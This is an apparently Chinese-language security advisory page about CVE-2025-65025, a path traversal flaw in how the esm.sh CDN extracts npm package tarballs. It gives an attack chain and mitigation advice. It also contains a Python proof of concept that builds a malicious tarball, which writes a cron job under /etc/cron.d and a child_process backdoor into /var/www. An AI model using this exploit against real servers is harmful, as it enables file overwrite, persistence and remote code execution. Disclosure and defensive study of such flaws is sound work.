IPBUF安全漏洞报告
English
CVE-2025-65025 CVSS 8.2 高危

CVE-2025-65025 esm.sh CDN路径遍历漏洞

披露日期: 2025-11-19

漏洞信息

漏洞编号
CVE-2025-65025
漏洞类型
路径遍历
CVSS评分
8.2 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
esm.sh CDN

相关标签

路径遍历esm.shCDNtarball解压NPM包文件写入远程代码执行CVE-2025-65025

漏洞概述

esm.sh是一个面向现代Web开发的无构建内容分发网络(CDN)服务。在136版本之前,esm.sh CDN服务在提取NPM包tarball文件时存在路径遍历漏洞。攻击者可以制作包含特殊构造文件路径的恶意NPM包(例如package/../../tmp/evil.js),当esm.sh下载并解压该包时,文件可能被写入服务器上的任意位置,从而逃逸出预期的解压目录。该漏洞可能导致服务器文件系统被攻击者控制,植入恶意代码或覆盖系统文件,对服务完整性和安全性造成严重威胁。此问题已在136版本中修复。

技术细节

该漏洞属于经典的路径遍历(Path Traversal)安全问题,发生在NPM包的tarball文件解压环节。攻击者利用tarball压缩包内文件路径中的"../"序列,绕过安全检查,将文件解压到目标目录之外的任意位置。具体来说,当攻击者创建一个NPM包并在package.json中指定文件路径为类似"../../tmp/evil.js"的形式时,esm.sh服务器在解压过程中未对路径进行充分的规范化处理和安全校验,导致文件被写入/tmp目录或其他系统敏感目录。攻击者可通过此方式覆写服务器上的现有文件、植入Webshell或后门程序,从而实现远程代码执行。由于esm.sh作为公共CDN服务被大量前端项目依赖,此漏洞的影响范围可能非常广泛。修复方案主要是对解压路径进行规范化处理,确保所有文件操作都在预设的根目录范围内进行。

攻击链分析

STEP 1
步骤1
攻击者创建恶意NPM包,在tarball中的文件路径包含路径遍历序列(如../../tmp/evil.js)
STEP 2
步骤2
攻击者将恶意包发布到NPM仓库或直接托管在攻击者控制的服务器上
STEP 3
步骤3
攻击者构造针对esm.sh的请求,触发其下载并解压恶意NPM包
STEP 4
步骤4
esm.sh服务器在解压tarball时未正确校验路径,将恶意文件写入服务器任意位置(如/tmp、/var/www等)
STEP 5
步骤5
攻击者通过写入的恶意文件实现远程代码执行、持久化控制或进一步横向移动

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import tarfile import os import io # PoC: Create a malicious NPM package with path traversal # This demonstrates how an attacker can craft a malicious tarball def create_malicious_tarball(): """ Create a malicious NPM package tarball with path traversal payload """ # Malicious files to be written outside extraction directory malicious_files = [ ('../../tmp/evil.js', b'// Malicious code\nrequire("child_process").exec("malicious_command");'), ('../../../../etc/cron.d/malicious', b'* * * * * root /tmp/evil.js\n'), ('../../var/www/html/backdoor.js', b'// Backdoor script\nmodule.exports = require("child_process").execSync;'), ] # Create tarball in memory tar_buffer = io.BytesIO() with tarfile.open(fileobj=tar_buffer, mode='w', format=tarfile.PAX_FORMAT) as tar: # Add package.json package_json = b'{"name": "malicious-package", "version": "1.0.0", "main": "index.js"}' info = tarfile.TarInfo(name='package/package.json') info.size = len(package_json) tar.addfile(info, io.BytesIO(package_json)) # Add malicious files with path traversal for filepath, content in malicious_files: info = tarfile.TarInfo(name=f'package/{filepath}') info.size = len(content) tar.addfile(info, io.BytesIO(content)) print(f'[+] Added malicious file: {filepath}') return tar_buffer.getvalue() if __name__ == '__main__': print('[*] Generating malicious NPM package tarball...') tarball_data = create_malicious_tarball() # Save the tarball with open('malicious-package-1.0.0.tgz', 'wb') as f: f.write(tarball_data) print('[+] Malicious tarball created: malicious-package-1.0.0.tgz') print('[+] When extracted by esm.sh, files will be written to arbitrary locations')

影响范围

esm.sh CDN < 136

防御指南

临时缓解措施
如果无法立即升级,可通过配置服务器访问控制列表限制对敏感目录的写入权限,同时监控异常的目录遍历请求。对于必须使用的场景,建议暂时切换到其他可信的CDN服务作为临时替代方案。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表